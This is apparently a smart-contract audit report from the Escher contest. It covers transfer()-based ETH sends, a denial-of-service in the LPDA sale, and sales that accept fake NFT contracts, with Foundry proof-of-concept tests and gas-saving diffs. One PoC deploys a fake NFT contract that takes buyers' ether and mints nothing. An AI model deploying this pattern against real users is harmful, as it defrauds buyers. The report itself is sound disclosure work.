Escher contest - ahmedov's results

Lines of code

https://github.com/code-423n4/2022-12-escher/blob/main/src/minters/LPDA.sol#L85 https://github.com/code-423n4/2022-12-escher/blob/main/src/minters/LPDA.sol#L86 https://github.com/code-423n4/2022-12-escher/blob/main/src/minters/LPDA.sol#L105 https://github.com/code-423n4/2022-12-escher/blob/main/src/minters/FixedPrice.sol#L109 https://github.com/code-423n4/2022-12-escher/blob/main/src/minters/OpenEdition.sol#L92

Vulnerability details

Impact

The use of the deprecated transfer() function for an address will inevitably make the transaction fail when:

• The claimer smart contract does not implement a payable function.
• The claimer smart contract does implement a payable fallback which uses more than 2300 gas unit.
• The claimer smart contract implements a payable fallback function that needs less than 2300 gas units but is called through proxy, raising the call's gas usage above 2300.

Additionally, using higher than 2300 gas might be mandatory for some multisig wallets.

Proof of concept

src/minters/FixedPrice.sol:
  109:         ISaleFactory(factory).feeReceiver().transfer(address(this).balance / 20);

src/minters/LPDA.sol:
   85:         ISaleFactory(factory).feeReceiver().transfer(fee);
   86:         temp.saleReceiver.transfer(totalSale - fee);
  105:         payable(msg.sender).transfer(owed);

src/minters/OpenEdition.sol:
   92:         ISaleFactory(factory).feeReceiver().transfer(address(this).balance / 20);

Tools Used

Manual

Recommended Mitigation Steps

Recommended using call() instead of transfer().

Lines of code

https://github.com/code-423n4/2022-12-escher/blob/main/src/minters/LPDA.sol#L58-L89

Vulnerability details

Impact

The buy() function will call _end() when the finalId is reached, but before that it depends on transfer function which can fail if saleReceiver is smart contract without receive() or callback() function. This could lead to DoS of the LPDA edition and fees will never be transfered to feeReceiver.

Proof of Concept

Consider following test:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;

import "forge-std/Test.sol";
import {EscherTest} from "./utils/EscherTest.sol";
import {LPDAFactory, LPDA} from "src/minters/LPDAFactory.sol";

contract Receiver {
    // without receive() and fallback()
}

contract LPDABase is EscherTest {
    LPDAFactory public lpdaSales;
    LPDA.Sale public lpdaSale;
    Receiver receiver;

    function setUp() public virtual override {
        super.setUp();
        receiver = new Receiver();
        lpdaSales = new LPDAFactory();
        // set up a LPDA Sale
        lpdaSale = LPDA.Sale({
            currentId: uint48(0),
            finalId: uint48(10),
            edition: address(edition),
            startPrice: uint80(uint256(1 ether)),
            finalPrice: uint80(uint256(0.1 ether)),
            dropPerSecond: uint80(uint256(0.1 ether) / 1 days),
            startTime: uint96(block.timestamp),
            saleReceiver: payable(address(receiver)), // Here we set the contract address
            endTime: uint96(block.timestamp + 1 days)
        });
    }
}

contract LPDADOSTest is LPDABase {
    LPDA public sale;
    event End(LPDA.Sale _saleInfo);

    function test_Buy() public {
        sale = LPDA(lpdaSales.createLPDASale(lpdaSale));
        // authorize the lpda sale to mint tokens
        edition.grantRole(edition.MINTER_ROLE(), address(sale));
        //lets buy an NFT
        sale.buy{value: 1 ether}(1);
        assertEq(address(sale).balance, 1 ether);
    }

    function test_LPDA() public {
        // make the lpda sales contract
        sale = LPDA(lpdaSales.createLPDASale(lpdaSale));
        // authorize the lpda sale to mint tokens
        edition.grantRole(edition.MINTER_ROLE(), address(sale));
        //lets buy an NFT
        sale.buy{value: 1 ether}(1);
        assertEq(address(sale).balance, 1 ether);

        vm.warp(block.timestamp + 1 days);
        assertApproxEqRel(sale.getPrice(), 0.9 ether, lpdaSale.dropPerSecond);

        // buy the rest
        // this will auto end the sale
        sale.buy{value: uint256((0.9 ether + lpdaSale.dropPerSecond) * 9)}(9); // When we try to buy rest it will revert and the fees wil not be sent 

        vm.warp(block.timestamp + 2 days);

        // now lets get a refund
        uint256 bal = address(this).balance;
        sale.refund();
        assertApproxEqRel(address(this).balance, bal + 0.1 ether, lpdaSale.dropPerSecond);
    }
}

Test results:

    │   │   ├─ [24] Receiver::fallback{value: 8550000000000334400}() 
    │   │   │   └─ ← "EvmError: Revert"
    │   │   └─ ← "EvmError: Revert"
    │   └─ ← "EvmError: Revert"
    └─ ← "EvmError: Revert"

Test result: FAILED. 1 passed; 1 failed; finished in 3.82ms

Failing tests:
Encountered 1 failing test in test/LPDADOS.t.sol:LPDADOSTest
[FAIL. Reason: EvmError: Revert] test_LPDA() (gas: 660235)

Tools Used

Forge

Recommended Mitigation Steps

One approach is to use pull over push pattern. This way everyone can withdraw their balance, in this scenario - their totalSale amount.

Other solution is to make sure that saleReceiver is not a contract address using isContract() function from Address library of OpenZeppelin.

Lines of code

https://github.com/code-423n4/2022-12-escher/blob/main/src/minters/FixedPriceFactory.sol#L29-L38 https://github.com/code-423n4/2022-12-escher/blob/main/src/minters/LPDAFactory.sol#L29-L42 https://github.com/code-423n4/2022-12-escher/blob/main/src/minters/OpenEditionFactory.sol#L29-L38 https://github.com/code-423n4/2022-12-escher/blob/main/src/minters/FixedPrice.sol#L57-L67 https://github.com/code-423n4/2022-12-escher/blob/main/src/minters/LPDA.sol#L58-L89 https://github.com/code-423n4/2022-12-escher/blob/main/src/minters/OpenEdition.sol#L57-L94

Vulnerability details

Impact

In Solidity, any address can be cast to a contract, regardless of whether the code at the address represents the contract type being cast. This can cause problems, especially when the author of the contract is trying to hide malicious code. Let’s illustrate this with an example. ref

The following exploit applies to the following contracts: FixedPriceFactory.sol, LPDAFactory.sol and OpenEditionFactory.sol.

I will give example only for FixedPriceFactory.

Alice can call createFixedSale from the FixedPriceSaleFactory contract. But Sale.edition can be a malicious contract which doesn't implement IEscher721 interface, and functions will not behave as expected. Bob will try to call the buy function from FixedPrice contract, but the mint function may be different from IEscher721's mint function.

All users can see the malicious contracts address when it is passed as parameter in createFixedSale. To further obfuscate the contract, Alice doesn't approve the contract's source code in the blockchain explorer in order to hide it's real purpose. The source code can be obtained from the bytecode, but it is gonna take extra time and it is a more difficult task for a common blockchain user.

Proof of Concept

Imagine the following case:

1. Alice deploys the following NFT Escher contract:

contract FakeNft {
    function mint(address, uint256) public {
        console.log("EXPLOIT");
        // malicious code here
    }

    function hasRole(bytes32, address) public pure returns (bool) {
        return true;
    }
}

2. Alice calls createFixedSale with the following Sale struct:

sale {
    uint48 currentId: 1
    uint48 finalId: 3
    address edition: Address of the contract from step 1
    uint96 price: 1 ether
    address payable saleReceiver: Sale creator address
    uint96 startTime: block.timestamp
}

fixedPriceFactory.createFixedSale(sale)

The following require will pass because hasRole function of malicious contract will return true regardless of what the parameters are. Then FixedPrice will initialize with the given sale struct.

3. Bob calls buy function with amount 1 and sends the NFT price which is 1 ether. 3.1 Function creates IEscher721 contract IEscher721 nft = IEscher721(sale_.edition); // remember - the edition contract is malicious 3.2 Then it will invoke mint function of nft nft.mint(msg.sender, x); // it will call the mint function of the contract from step 1 which does absolutely nothing 3.3 The function will continue to behave normally because there are no checks and the ether will be sent.

PoC Test

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;

import "forge-std/Test.sol";
import {FixedPriceFactory} from "src/minters/FixedPriceFactory.sol";
import {FixedPrice} from "src/minters/FixedPrice.sol";

contract FakeNft is Test {
    function mint(address, uint256) public {
        console.log("EXPLOIT");
        // malicious code here
    }

    function hasRole(bytes32, address) public pure returns (bool) {
        return true;
    }
}

contract PoC is Test {
    FakeNft public nft;
    FixedPriceFactory public fixedPriceFactory;
    FixedPrice public fixedPrice;

    function setUp() public {
        vm.prank(address(1337));

        nft = new FakeNft();
        fixedPriceFactory = new FixedPriceFactory();
    }

    function test_CreateFixedSale() public {
        FixedPrice.Sale memory sale = FixedPrice.Sale(
            1,
            3,
            address(nft),
            1 ether,
            payable(address(1337)),
            uint96(block.timestamp)
        );

        fixedPrice = FixedPrice(fixedPriceFactory.createFixedSale(sale));
        vm.warp(sale.startTime + 100);

        fixedPrice.buy{value: 1 ether}(1);
    }
}

PoC Test result

Running 1 test for test/ExternalContractRef.t.sol:PoC
[PASS] test_CreateFixedSale() (gas: 220804)
Logs:
  EXPLOIT

Test result: ok. 1 passed; 0 failed; finished in 1.82ms

It applies to the contracts listed above, the differences are the sale struct and checks.

Tools Used

Forge, Manual

Recommended Mitigation Steps

One solution is to create new escher contract directly in createFixedSale function, this will guarantee that the IEscher721 contract will not be malicious and will act as expected.

The other solution is redesigning some parts of the source code.

refer to preventative-techniques.

[G-01] USE DIRECTLY block VALUES

main/src/uris/Generative.sol: L22-L24

index db09737..f76998e 100644
--- a/src/uris/Generative.sol
+++ b/src/uris/Generative.sol
@@ -19,9 +19,7 @@ contract Generative is Unique {
     function setSeedBase() external onlyOwner {
         require(seedBase == bytes32(0), "SEED BASE SET");
 
-        uint256 time = block.timestamp;
-        uint256 numb = block.number;
-        seedBase = keccak256(abi.encodePacked(numb, blockhash(numb - 1), time, (time % 200) + 1));
+        seedBase = keccak256(abi.encodePacked(block.number, blockhash(block.number - 1), block.timestamp, (block.timestamp % 200) + 1));
     }

Saves

testSetSeedBase() (gas: -10 (-0.030%)) 

[G-02] UNCHECKING ARITHMETICS OPERATIONS THAT CAN’T UNDERFLOW/OVERFLOW (3 INSTANCES)

main/src/minters/FixedPrice.sol: 65

-        for (uint48 x = sale_.currentId + 1; x <= newId; x++) {
+        for (uint48 x = sale_.currentId + 1; x <= newId;) {
             nft.mint(msg.sender, x);
+            unchecked { ++x; }

Saves

test_Buy() (gas: -82 (-0.027%)) 

main/src/minters/OpenEdition.sol: 66

-        for (uint24 x = temp.currentId + 1; x <= newId; x++) {
+        for (uint24 x = temp.currentId + 1; x <= newId;) {
             nft.mint(msg.sender, x);
+            unchecked { ++x; }
         }

Saves

test_Buy() (gas: -82 (-0.027%)) 

main/src/minters/LPDA.sol: 73

-        for (uint256 x = temp.currentId + 1; x <= newId; x++) {
+        for (uint256 x = temp.currentId + 1; x <= newId;) {
             nft.mint(msg.sender, x);
+            unchecked { ++x; }
         }

Saves

test_Buy() (gas: -63 (-0.017%))

[G-03] X = X + Y IS MORE EFFICIENT, THAN X += Y (3 INSTANCES)

main/src/minters/LPDA.sol: 66, 70, 71

-        amountSold += amount;
+        amountSold = amountSold + amount;
         uint48 newId = amount + temp.currentId;
         require(newId <= temp.finalId, "TOO MANY");
 
-        receipts[msg.sender].amount += amount;
-        receipts[msg.sender].balance += uint80(msg.value);
+        receipts[msg.sender].amount = receipts[msg.sender].amount + amount;
+        receipts[msg.sender].balance = receipts[msg.sender].balance + uint80(msg.value);

Saves

test_Buy() (gas: -210 (-0.072%))

Results:

test_WhenEnded_Finalize() (gas: -82 (-0.023%)) 
test_RevertsWhenTooSoon_Buy() (gas: -82 (-0.026%)) 
test_RevertsWhenEnded_Buy() (gas: -82 (-0.026%)) 
test_RevertsWhenTooSoon_Buy() (gas: -82 (-0.026%)) 
test_RevertsTooMuchValue_Buy() (gas: -82 (-0.026%)) 
test_RevertsWhenTooMany_Buy() (gas: -82 (-0.026%)) 
test_RevertsTooMuchValue_Buy() (gas: -82 (-0.026%)) 
test_RevertsWhenNotOwner_TransferOwnership() (gas: -82 (-0.027%)) 
test_RevertsWhenNotOwner_TransferOwnership() (gas: -82 (-0.027%)) 
test_RevertsWhenNotEnded_Finalize() (gas: -82 (-0.027%)) 
test_RevertsWhenTooLittleValue_Buy() (gas: -82 (-0.027%)) 
test_RevertsWhenNotOwner_Cancel() (gas: -82 (-0.027%)) 
test_RevertsWhenTooLate_Cancel() (gas: -82 (-0.027%)) 
test_RevertsWhenTooLittleValue_Buy() (gas: -82 (-0.027%)) 
test_RevertsWhenTooLate_Cancel() (gas: -82 (-0.027%)) 
test_RevertsWhenNotOwner_Cancel() (gas: -82 (-0.027%)) 
test_Buy() (gas: -82 (-0.027%)) 
test_Buy() (gas: -82 (-0.027%)) 
test_SetSeedBase() (gas: -10 (-0.030%)) 
test_RevertsWhenAlreadyRefunded_Refund() (gas: -273 (-0.069%)) 
test_Refund() (gas: -273 (-0.069%)) 
test_WhenNotOver_Refund() (gas: -273 (-0.069%)) 
test_RevertsWhenTooSoon_Buy() (gas: -273 (-0.069%)) 
test_RevertsWhenNoRefund_Refund() (gas: -273 (-0.070%)) 
test_RevertsWhenTooLittleValue_Buy() (gas: -273 (-0.070%)) 
test_RevertsWhenTooLate_Cancel() (gas: -273 (-0.071%)) 
test_RevertsWhenNotOwner_Cancel() (gas: -273 (-0.071%)) 
test_Buy() (gas: -273 (-0.072%)) 
test_RevertsWhenMintedOut_Buy() (gas: -820 (-0.133%)) 
test_WhenMintsOut_Buy() (gas: -820 (-0.135%)) 
test_LPDA() (gas: -1050 (-0.150%)) 
test_RevertsWhenEnded_Buy() (gas: -1050 (-0.153%)) 
test_SellsOut_Buy() (gas: -1050 (-0.153%)) 
test_RevertsWhenSoldOut_Buy() (gas: -1092 (-0.157%)) 

Overall gas change: -9825 (-2.015%)